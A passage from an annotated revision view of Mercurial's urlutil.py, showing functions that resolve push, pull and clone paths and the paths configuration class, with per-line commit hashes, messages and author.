368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
537 dests = [dest]
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
538 dests = list(get_push_paths(repo, ui, dests))
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
539 if len(dests) != 1:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
540 if dest is None:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
541 msg = _("default path points to %d urls while %s only supports one")
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
542 msg %= (len(dests), action)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
543 else:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
544 msg = _("path points to %d urls while %s only supports one: %s")
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
545 msg %= (len(dests), action, dest)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
546 raise error.Abort(msg)
46940
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
547 return dests[0]
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
548
368294967c95 urlutil: add a new `get_unique_push_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46936
diff changeset
549
46936
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
550 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
551 """return a unique `(path, branch)` or abort if multiple are found
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
552
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
553 This is useful for command and action that does not support multiple
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
554 destination (yet).
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
555
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
556 Note that for now, we cannot get multiple destination so this function is "trivial".
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
557
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
558 The `action` parameter will be used for the error message.
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
559 """
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
560 urls = []
46936
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
561 if source is None:
46963
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
562 if b'default' in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
563 urls.extend(p.rawloc for p in ui.paths[b'default'])
46963
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
564 else:
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
565 # XXX this is the historical default behavior, but that is not
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
566 # great, consider breaking BC on this.
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
567 urls.append(b'default')
46963
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
568 else:
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
569 if source in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
570 urls.extend(p.rawloc for p in ui.paths[source])
46963
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
571 else:
0d8541e53e46 urlutil: remove usage of `ui.expandpath` in `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46962
diff changeset
572 # Try to resolve as a local path or URI.
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
573 path = try_path(ui, source)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
574 if path is not None:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
575 urls.append(path.rawloc)
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
576 else:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
577 urls.append(source)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
578 if len(urls) != 1:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
579 if source is None:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
580 msg = _("default path points to %d urls while %s only supports one")
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
581 msg %= (len(urls), action)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
582 else:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
583 msg = _("path points to %d urls while %s only supports one: %s")
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
584 msg %= (len(urls), action, source)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
585 raise error.Abort(msg)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
586 return parseurl(urls[0], default_branches)
46936
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
587
1998a8311c48 urlutil: add a new `get_unique_pull_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46934
diff changeset
588
46934
ebb13f9a9ba8 urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46928
diff changeset
589 def get_clone_path(ui, source, default_branches=()):
ebb13f9a9ba8 urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46928
diff changeset
590 """return the `(origsource, path, branch)` selected as clone source"""
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
591 urls = []
46964
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
592 if source is None:
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
593 if b'default' in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
594 urls.extend(p.rawloc for p in ui.paths[b'default'])
46964
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
595 else:
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
596 # XXX this is the historical default behavior, but that is not
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
597 # great, consider breaking BC on this.
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
598 urls.append(b'default')
46964
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
599 else:
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
600 if source in ui.paths:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
601 urls.extend(p.rawloc for p in ui.paths[source])
46964
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
602 else:
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
603 # Try to resolve as a local path or URI.
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
604 path = try_path(ui, source)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
605 if path is not None:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
606 urls.append(path.rawloc)
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
607 else:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
608 urls.append(source)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
609 if len(urls) != 1:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
610 if source is None:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
611 msg = _(
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
612 "default path points to %d urls while only one is supported"
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
613 )
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
614 msg %= len(urls)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
615 else:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
616 msg = _("path points to %d urls while only one is supported: %s")
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
617 msg %= (len(urls), source)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
618 raise error.Abort(msg)
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
619 url = urls[0]
46964
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
620 clone_path, branch = parseurl(url, default_branches)
221f8585e985 urlutil: remove usage of `ui.expandpath` in `get_clone_path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46963
diff changeset
621 return url, clone_path, branch
46934
ebb13f9a9ba8 urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46928
diff changeset
622
ebb13f9a9ba8 urlutil: add a `get_clone_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46928
diff changeset
623
46908
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
624 def parseurl(path, branches=None):
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
625 '''parse url#branch, returning (url, (branch, branches))'''
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
626 u = url(path)
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
627 branch = None
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
628 if u.fragment:
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
629 branch = u.fragment
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
630 u.fragment = None
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
631 return bytes(u), (branch, branches or [])
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
632
4452cb788404 urlutil: extract `parseurl` from `hg` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46907
diff changeset
633
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
634 class paths(dict):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
635 """Represents a collection of paths and their configs.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
636
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
637 Data is initially derived from ui instances and the config files they have
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
638 loaded.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
639 """
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
640
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
641 def __init__(self, ui):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
642 dict.__init__(self)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
643
47272
a671832a8e41 urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47187
diff changeset
644 home_path = os.path.expanduser(b'~')
a671832a8e41 urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47187
diff changeset
645
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
646 for name, value in ui.configitems(b'paths', ignoresub=True):
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
647 # No location is the same as not existing.
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
648 if not value:
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
649 continue
47272
a671832a8e41 urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47187
diff changeset
650 _value, sub_opts = ui.configsuboptions(b'paths', name)
a671832a8e41 urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47187
diff changeset
651 s = ui.configsource(b'paths', name)
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
652 root_key = (name, value, s)
47272
a671832a8e41 urlutil: move url "fixing" at the time of `ui.paths` initialization
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47187
diff changeset
653 root = ui._path_to_root.get(root_key, home_path)
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
654
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
655 multi_url = sub_opts.get(b'multi-urls')
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
656 if multi_url is not None and stringutil.parsebool(multi_url):
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
657 base_locs = stringutil.parselist(value)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
658 else:
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
659 base_locs = [value]
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
660
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
661 paths = []
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
662 for loc in base_locs:
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
663 loc = os.path.expandvars(loc)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
664 loc = os.path.expanduser(loc)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
665 if not hasscheme(loc) and not os.path.isabs(loc):
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
666 loc = os.path.normpath(os.path.join(root, loc))
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
667 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
668 paths.append(p)
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
669 self[name] = paths
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
670
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
671 for name, old_paths in sorted(self.items()):
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
672 new_paths = []
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
673 for p in old_paths:
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
674 new_paths.extend(_chain_path(p, ui, self))
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
675 self[name] = new_paths
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
676
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
677 def getpath(self, ui, name, default=None):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
678 """Return a ``path`` from a string, falling back to default.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
679
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
680 ``name`` can be a named path or locations. Locations are filesystem
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
681 paths or URIs.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
682
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
683 Returns None if ``name`` is not a registered path, a URI, or a local
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
684 path to a repo.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
685 """
47029
9ea75ea23534 urlutil: deprecate `getpath`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47028
diff changeset
686 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
9ea75ea23534 urlutil: deprecate `getpath`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47028
diff changeset
687 self.deprecwarn(msg, '6.0')
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
688 # Only fall back to default if no path was requested.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
689 if name is None:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
690 if not default:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
691 default = ()
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
692 elif not isinstance(default, (tuple, list)):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
693 default = (default,)
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
694 for k in default:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
695 try:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
696 return self[k][0]
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
697 except KeyError:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
698 continue
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
699 return None
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
700
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
701 # Most likely empty string.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
702 # This may need to raise in the future.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
703 if not name:
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
704 return None
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
705 if name in self:
47187
7531cc34713c urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47186
diff changeset
706 return self[name][0]
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
707 else:
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
708 # Try to resolve as a local path or URI.
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
709 path = try_path(ui, name)
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
710 if path is None:
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
711 raise error.RepoError(_(b'repository %s does not exist') % name)
47027
c029b35565dd url_util: introduce a `try_path` function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46964
diff changeset
712 return path.rawloc
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
713
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
714
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
715 _pathsuboptions = {}
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
716
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
717
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
718 def pathsuboption(option, attr):
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
719 """Decorator used to declare a path sub-option.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
720
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
721 Arguments are the sub-option name and the attribute it should set on
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
722 ``path`` instances.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
723
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
724 The decorated function will receive as arguments a ``ui`` instance,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
725 ``path`` instance, and the string value of this option from the config.
